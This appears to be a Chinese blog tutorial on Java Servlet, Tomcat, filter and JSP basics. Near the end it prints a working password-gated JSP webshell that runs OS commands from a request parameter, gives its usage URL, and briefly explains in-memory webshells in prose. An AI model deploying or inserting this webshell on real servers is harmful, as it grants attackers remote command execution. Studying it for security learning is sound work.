前言
接触过不少java的源码了,这里也是学习一下 Servlet 基础
参考文章:
https://exp10it.io/2022/11/java-servlet-%E5%9F%BA%E7%A1%80
https://boogipop.com/2023/03/02/JavaWeb/
Servlet (Server Applet), 全称Java Servlet. 是用 Java 编写的服务器端程序. 其主要功能在于交互式地浏览和修改数据,生成动态 Web 内容. 狭义的 Servlet 是指 Java 语言实现的一个接口,广义的 Servlet 是指任何实现了这个 Servlet 接口的类,一般情况下,人们将 Servlet 理解为后者.
Servlet 运行于支持 Java 的应用服务器中. 从实现上讲, Servlet 可以响应任何类型的请求, 但绝大多数情况下 Servlet 只用来扩展基于 HTTP 协议的 Web 服务器.
Servlet 的版本和 Tomcat 版本的对应关系:https://tomcat.apache.org/whichversion.html
其中 Servlet 3.0 以上开始支持直接使用注解来进行大部分配置, 避免了编写复杂的 web.xml (当然仍然有一些内容必须要用 xml 来配置)
本文环境:Java 8 + Servlet 4.0 + Tomcat 8,使用 IntelliJ IDEA IDE
是的,向IDEA投祥了
你知道的,我一直都是JetBrains的忠实用户,中间忘了,我已经迫不及待的想要为IDEA欢呼了,至于vscode,祝它的各种配置顺利
注解
Annotation是JDK5.0开始引入的技术
作用:
- 不是程序本身,但是可以对程序做出解释
- 可以被其他程序读取
格式:
以@
注释名在代码中存在的,还可以添加一些参数值,如@supperessWarnning(value=”undefined”).
使用:
可以附加在package、class、method、field等上面,相当于给他们添加了额外的属性,我们可以通过反射机制编程实现对这些元数据的访问
public class Demo2 implements Demo<String>{
@Override
public String show(String s){
System.out.println(s);
return s
}
}
这里的@Override
就是注解,也就是重写的意思
内置注解
@Override:定义在java.lang.Override中,此注释只适用修饰方法,
表示一个方法声明打算重写父类中的另一个方法
@Deprecated: 定义在java.lang.Deprecated中,可以用于修饰方法
属性,类,表示不鼓励程序员使用这样的元素
@SupeeressWarnings:定义在java.lang.SupperessWarnings中,用于抑制编译时的警告信息,类似于php中的error_reporting()
与前两个注释有所不同,你需要添加一个参数才能正确使用
这些参数都是已经定义好了的,我们选择性的使用就好了;
@SupperessWarnings("all");
@SupperessWarnings("unchecked");
@SupperessWarnings(value={"unchecked":"deprecation"});
元注解
注解其他注解,java定义了四个标准元注解(meta-annotation)
import java.lang.annotation
@Target(value = {ElementType.METHOD,ElementType.TYPE})
// 用于描述注解的使用范围
@Retention(value = RetentionPolicy.RUNTIME)
// 表示需要在什么级别保存该注释信息,用于描述注解的生命周期(SOURCE < CLASS < RUNTIME)
@Document
// 说明该注解将被包含在javadoc中
@Inherited
// 说明子类可以继承父类中的该注解
自定义注解
@interface:声明一个注解
使用@interface
自定义注解时,自动继承了java.lang.annotation.Annotation接口
如果只有一个参数成员,一般参数名为value
@interface MyAnnotation2{
// 注解的参数:参数类型 + 参数名()
// 其中的每一个方法实际上是声明了一个配置参数,方法的名称就是参数的名称
String name() default ""; // 可以用default声明参数的默认值
int age();
int id() default -1; // 如果默认值为-1,代表不存在
String[] schools() default{"Ano酱?","什么时候"};
}
public class Test{
@MyAnnotation2(age = 18,name = "tormoli")
public void test(){}
}
配置Maven
配置阿里云镜像,在maven的conf文件夹下的setting.xml里面加入这段
<mirror>
<id>aliyunmaven</id>
<mirrorOf>*</mirrorOf>
<name>阿里云公共仓库</name>
<url>https://maven.aliyun.com/repository/public</url>
</mirror>
Tomcat快速上手
创建项目
idea 新建项目,选择 Jakarta EE 生成器,版本选择Java EE 8
项目结构
- main/java 目录存放 Java 源码
- resources 目录存放资源文件, 并随 war/jar 一起打包
- webapp 目录相当于服务器的 www 目录,客户端可直接访问
- webapp/WEB-INF 目录为安全目录,客户端无法直接访问,一般存放 web.xml 以及 class 和 lib 文件
配置tomcat
tomcat8下载地址:https://tomcat.apache.org/download-80.cgi
右上角编辑配置
配置 url,jre 以及 http 端口
配置应用程序上下文方便调试
Hello Servlet
如果想要开发一个Servlet程序,只需要完成2个步骤
- 编写一个类,实现Servlet接口
- 把开发好的java类部署到web服务器中
package com.example.learnservlet;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.PrintWriter;
public class IndexServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter writer = resp.getWriter();//响应流
writer.print("hello servlet");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
}
}
servlet默认接口HttpServlet
重写GET和POST方法
doGet:即GET方法,相应的有doPost方法
我们需要对它们进行重写,选中HttpServlet,快捷键ctrl+o调出可重写的方法
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter writer = resp.getWriter();//响应流
writer.print("hello servlet");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
}
注册Servlet
在没有index.jsp的情况下,我们可以设置web.xml来把方法绑定到路由上
编辑WEB-INF中的web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">
<servlet>
<servlet-name>IndexServlet</servlet-name>
<servlet-class>com.example.learnservlet.IndexServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
Mapping
<servlet-mapping>
<servlet-name>IndexServlet</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
url-pattern对应的就是路由,而我们写成/hello/*
时,*就是通配符
- 一个servlet可以指定一个或多个映射
- 一个servlet可以指定通用映射路径
- 利用通配符我们可以指定一些后缀或者前缀:
*.111
,111.*
- 默认请求路径:
/*
自定义Error页面
默认的404
我们可以自己写一个
package com.example.learnservlet;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
public class ErrorServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html");
resp.setCharacterEncoding("utf-8");
PrintWriter testwriter=resp.getWriter();
testwriter.println("<h1>404</h1>");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
web.xml增加
<servlet>
<servlet-name>errordemo</servlet-name>
<servlet-class>com.example.learnservlet.ErrorServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>errordemo</servlet-name>
<url-pattern>/*</url-pattern>
</servlet-mapping>
这样就完成了自定义error的设定
由于通配符的优先级较低,所以/hello路由不会进入404
@WebServlet
Java 中使用 @WebServlet
注解来标注 Servlet,其中 name 指定 Servlet 名称 (可省略),value 指定路由 (必须)
路由也可以在 web.xml 用 url-pattern 指定, 两者基本等价,不过只能二选一
此时web.xml配置为
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
</web-app>
这里要注意 /
路由实际上会接收所有未匹配的路径, 相当于 /*
package com.example.learnservlet;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet(name = "IndexServlet", value = "/")
public class IndexServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter writer = resp.getWriter();//响应流
writer.print("hello servlet");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
}
}
例如我们访问 /abcd
, 最后处理请求的依然是这个 IndexServlet
Servlet原理
ServletContext对象
web容器启动时,会为每个web程序都创建一个对应的 servletcontext 对象,它代表了当前的web应用,网站就是由这个对象进行管理
作用:共享数据
即在一个servlet中保存的数据,可以在另一个servlet拿到
demo:
package com.example.learnservlet;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
public class HelloServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
ServletContext context= this.getServletContext();
String name="Rikki";
context.setAttribute("username",name);
resp.getWriter().println("Huh?");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
}
}
package com.example.learnservlet;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class ShareDemo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
ServletContext getcontext=this.getServletContext();
String name=(String) getcontext.getAttribute("username");
resp.setCharacterEncoding("utf-8");
resp.setContentType("text/html");
resp.getWriter().println("I am "+name);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
web.xml
<servlet>
<servlet-name>hellodemo</servlet-name>
<servlet-class>com.example.learnservlet.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>hellodemo</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>sharedemo</servlet-name>
<servlet-class>com.example.learnservlet.ShareDemo</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>sharedemo</servlet-name>
<url-pattern>/get</url-pattern>
</servlet-mapping>
我们先访问 /get 路由看看
此时name的值是 null,因为还没设置值
接下来访问 /hello 路由,此时才给name设置了值
再访问 /get 路由
可以看出来我们在第一个路由中设置的username的值在第二个路由中成功的拿到了
重定向与转发
重定向是客户端重定向,http 返回 301 或者 302 请求并指定 location 跳转
转发是服务端 Servlet 内部的行为,客户端方面感受不到路由变化
重定向
利用 HttpServletResponse 的 sendRedirect 方法
response.sendRedirect("http://www.baidu.com/");
转发
通过 HttpServletRequest 对象获取 RequestDispatcher 并调用 forward 方法
RequestDispatcher rd = request.getRequestDispatcher("/user");
rd.forward(request, response);
等价于
request.getRequestDispatcher("/user").forward(request, response);
结合前面的共享数据,写一个demo:
IndexServlet.java
package com.example.learnservlet;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.HashMap;
import java.util.Map;
public class IndexServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse resq) throws ServletException, IOException {
String username = request.getParameter("username");
String password = request.getParameter("password");
Map userMap = new HashMap<>();
userMap.put("username", username);
userMap.put("password", password);
request.setAttribute("user", userMap);
RequestDispatcher rd = request.getRequestDispatcher("/user");
rd.forward(request, resq);
}
}
UserServlet.java
package com.example.learnservlet;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Map;
public class UserServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Map userMap = (Map) request.getAttribute("user");
response.setContentType("text/html");
PrintWriter pw = response.getWriter();
pw.write("servlet: " + this.getServletName());
pw.write("<br />");
pw.write("username: " + userMap.get("username"));
pw.write("<br />");
pw.write("password: " + userMap.get("password"));
pw.flush();
}
}
web.xml
<servlet>
<servlet-name>IndexServlet</servlet-name>
<servlet-class>com.example.learnservlet.IndexServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexServlet</servlet-name>
<url-pattern>/index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>UserServlet</servlet-name>
<servlet-class>com.example.learnservlet.UserServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UserServlet</servlet-name>
<url-pattern>/user</url-pattern>
</servlet-mapping>
虽然是在 /index 路由下,但是我们依旧可以给 UserServlet 传入参数,因为做了转发
Filter
Servlet Filter 可以拦截客户端发送给 Servlet 的 request, 并修改 Servlet 返回给客户端的 response
创建
package com.example.learnservlet.filters;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter(urlPatterns = "/*")
public class UserFilter implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("before");
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("after");
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void destroy() {
}
}
当我们访问页面的时候,会经过 Filter ,服务器那边也会做出相应的响应
这里使用 @WebFilter
注解来标注 Filter, urlPatterns 指定匹配规则(参数大部分跟 @WebServlet
相同)
一个 Filter 实现自 Filter 接口,并且必须实现 doFilter 方法,jdk 1.8 版本需要手动重写 init 和 destroy 方法,高版本不需要
其中 filterChain.doFilter(servletRequest, servletResponse)
用于将请求传递至下一个 Filter (如果存在多个 Filter) 或 Servlet
Filter Chain
对于同一条拦截规则可以设置多个 Filter,这些 Filter 组成一条 Filter Chain,客户端的请求会依次经过每一个 Filter 并最终达到 Servlet,Servlet 处理完成后再按照相反的顺序将响应回传给对应 Filter,最终达到客户端
执行流程类似于栈的 “先进后出”,即第一个拦截 request 的 Filter 最后才拦截 response
Listener
监听器,用于监听事件变化并执行相关代码
相关概念:
- 事件: 方法调用、属性改变、状态改变等。
- 事件源: 被监听的对象( 例如: request、session、servletContext)
- 监听器: 用于监听事件源对象, 事件源对象状态的变化都会触发监听器
- 注册监听器: 将监听器与事件源进行绑定
JSP
即 Java Server Pages,本质上仍然是 Servlet,服务器在运行 JSP 时会将其动态编译为 Servlet class 来执行
语法和 java 一致
实际上也是一种模板引擎
标签
代码:<% ... %>
注释:<%-- JSP Comment --%>
echo:<%= var %>
demo:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%System.out.print("ciallo");%>
<%--输出一个日期--%>
<%=new java.util.Date()%>
</body>
</html>
对象
JSP 内置了 Servlet 中的部分对象
- out: 表示 HttpServletResponse 的 PrintWriter
- session: 表示当前 HttpSession 对象
- request: 表示当前 HttpServletRequest 对象
可以直接使用
可在 JSP 表达式中使用的文字:类似于指定变量类型
文字 | 文字的值 |
---|---|
Boolean | true 和 false |
Integer | 与 Java 类似。可以包含任何整数,例如 24、-45、567 |
Floating Point | 与 Java 类似。可以包含任何正的或负的浮点数,例如 -1.8E-45、4.567 |
String | 任何由单引号或双引号限定的字符串。对于单引号、双引号和反斜杠,使用反斜杠字符作为转义序列。必须注意,如果在字符串两端使用双引号,则单引号不需要转义。 |
Null | null |
操作符
术语 | 定义 |
---|---|
算术型 | +、-(二元)、*、/、div、%、mod、-(一元) |
逻辑型 | and、&&、or、双管道符、!、not |
关系型 | ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。 |
空 | empty 空操作符是前缀操作,可用于确定值是否为空。 |
条件型 | A ?B :C。根据 A 赋值的结果来赋值 B 或 C。 |
隐式对象
JSP表达式语言定义了一组隐式对象,其中许多对象在 JSP scriplet 和表达式中可用:
术语 | 定义 |
---|---|
pageContext | JSP页的上下文,可以用于访问 JSP 隐式对象,如请求、响应、会话、输出、servletContext 等。例如,${pageContext.response} 为页面的响应对象赋值。 |
此外,还提供几个隐式对象,允许对以下对象进行简易访问:
术语 | 定义 |
---|---|
param | 将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param.name} 相当于 request.getParameter (name)。 |
paramValues | 将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues.name} 相当于 request.getParamterValues(name)。 |
header | 将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header.name} 相当于 request.getHeader(name)。 |
headerValues | 将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues.name} 相当于 request.getHeaderValues(name)。 |
cookie | 将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie.name.value} 返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues.name} 表达式。 |
initParam | 将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。 |
除了上述两种类型的隐式对象之外,还有些对象允许访问多种范围的变量,如 Web 上下文、会话、请求、页面:
术语 | 定义 |
---|---|
pageScope | 将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName} 访问一个 JSP 中页面范围的对象,还可以使用${pageScope .objectName. attributeName} 访问对象的属性。 |
requestScope | 将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope. objectName} 访问一个 JSP 请求范围的对象,还可以使用${requestScope. objectName. attributeName} 访问对象的属性。 |
sessionScope | 将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope. name} |
applicationScope | 将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。 |
导入&引入
导入包: <%@ page import="java.io.*" %>
引入其它 JSP 文件: <%@ include file="config.jsp" %>
一句话木马
带密码的webshell
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
利用方式
/cmd.jsp?pwd=023&i=
内存马
内存马是一种无文件Webshell,简单来说就是服务器上不会存在需要链接的webshell脚本文件
内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码,一句话就能概括,那就是对访问路径映射及相关处理代码的动态注册。
内存马根据注入方式分为两种:
servlet-api型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马字节码增强型
通过java的instrumentation动态修改已有代码,从而实现命令执行等功能